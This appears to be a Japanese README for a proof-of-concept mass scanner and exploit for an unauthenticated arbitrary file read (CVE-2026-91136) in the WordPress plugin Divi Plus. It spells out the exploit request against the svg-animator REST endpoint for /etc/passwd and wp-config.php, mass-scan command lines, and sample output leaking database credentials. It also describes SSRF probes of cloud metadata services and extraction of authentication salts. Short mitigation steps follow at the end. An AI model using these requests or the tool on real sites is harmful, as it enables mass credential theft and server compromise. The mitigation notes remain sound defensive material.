CVE-2026-91136 — Divi Plus ≤ 2.4.0 — 未認証の任意ファイル読み取りPoC

Divi Plus (Elicus) — WordPressプラグイン ≤ 2.4.0 — elicus/v1 REST名前空間のsvg_imageパラメータを介した未認証の任意ファイル読み取り。

📋 脆弱性の概要

🔍 技術的詳細

SVGAnimatorController::index_permissionは無条件にtrueを返すため、/wp-json/elicus/v1/dipl-modules/svg-animatorエンドポイントには認証なしで到達できます。svg_image入力はfile_get_contents()（wp_remote_get()フォールバック付き）に渡される前にsanitize_text_field()とesc_html()のみを通過しますが、これらはファイルシステムパス、file://ストリームラッパー、リモートURLを制限しません。生のレスポンスボディはJSONのhtmlフィールドに返されます。

GET /wp-json/elicus/v1/dipl-modules/svg-animator?svg_image=/etc/passwd
        │
        ▼
index_permission() = true (no auth)
        │
        ▼
svg_image -> sanitize_text_field/esc_html (no path restriction)
        │
        ▼
file_get_contents() -> fallback wp_remote_get()
        │
        ▼
{"html":"root:x:0:0:root:/root:/bin/bash\n..."}

影響: /etc/passwd、wp-config.php（DB認証情報 + 認証ソルト）、SSRF経由のクラウドメタデータ（169.254.169.254 / GCP / Azure / DO / OCI）、.env、およびWebユーザーが読み取り可能なその他のファイルを読み取ります。

🚀 使用方法

# single target
python CVE-2026-91136.py -u https://target.com

# mass scan
python CVE-2026-91136.py -i targets.txt -t 20 -o results

# interactive (banner -> targets -> threads)
python CVE-2026-91136.py

📊 出力

[OK] https://target.com                                        ✓ 1  ✗ 0
    passwd: root:x:0:0:root:/root:/bin/bash
      link: https://target.com/wp-json/elicus/v1/dipl-modules/svg-animator?svg_image=/etc/passwd
    wp-config: /var/www/html/wp-config.php
      link: https://target.com/wp-json/elicus/v1/dipl-modules/svg-animator?svg_image=/var/www/html/wp-config.php
      DB_NAME=wordpress
      DB_USER=wp_user
      DB_PASSWORD=***
      DB_HOST=localhost

✓ OK: 1   ✗ FAIL: 2979   total: 2980

• ライブ単行プログレスバー: [████░░░░] 42% (1250/2980) ✓ 3 ✗ 1247
• results.hits.txt — 脆弱性が確認されたターゲットのみ

⚙️ 機能

• フィンガープリント: svg-animator エンドポイントのレスポンス + divi-plus アセットの ?ver= によるバージョン
• バージョンオラクル: 脆弱なブランチはファイル本体を返し、パッチ済み/WAF は 403/空を返す
• wp-config.php の探索: 固定候補 + /etc/passwd から解析した実際の /home/<user>/ ディレクトリ
• SSRF プローブ: AWS / GCP / Azure / DigitalOcean / OCI のメタデータエンドポイント
• ルート抽出: DB 認証情報 + WordPress 認証ソルト、各検出結果ごとに直接再利用可能なリンク付き
• マスモード: スレッドプール、重複排除、ライブの ✓/✗ 集計、JSONL + hits エクスポート

📁 ファイル構成

├── CVE-2026-91136.py   # mass scanner + exploit
├── README.md
├── LICENSE
└── .gitignore

⚠️ 免責事項

╔══════════════════════════════════════════════════════════════════╗
║                        LEGAL DISCLAIMER                          ║
╠══════════════════════════════════════════════════════════════════╣
║  This tool is provided for EDUCATIONAL and AUTHORIZED           ║
║  SECURITY TESTING purposes only.                                ║
║  Only use on systems you own or have explicit permission.       ║
║  The author is NOT responsible for any misuse or damage.        ║
╚══════════════════════════════════════════════════════════════════╝

🛡️ 緩和策

1. Divi Plus を 2.4.1（以降）に更新する
2. ファイル読み取りによって露出した認証情報をローテーションする
3. WAF で GET/POST /wp-json/elicus/v1/dipl-modules/svg-animator をブロックする
4. file://、/etc/、またはメタデータ IP を含む svg_image の値をログで監視する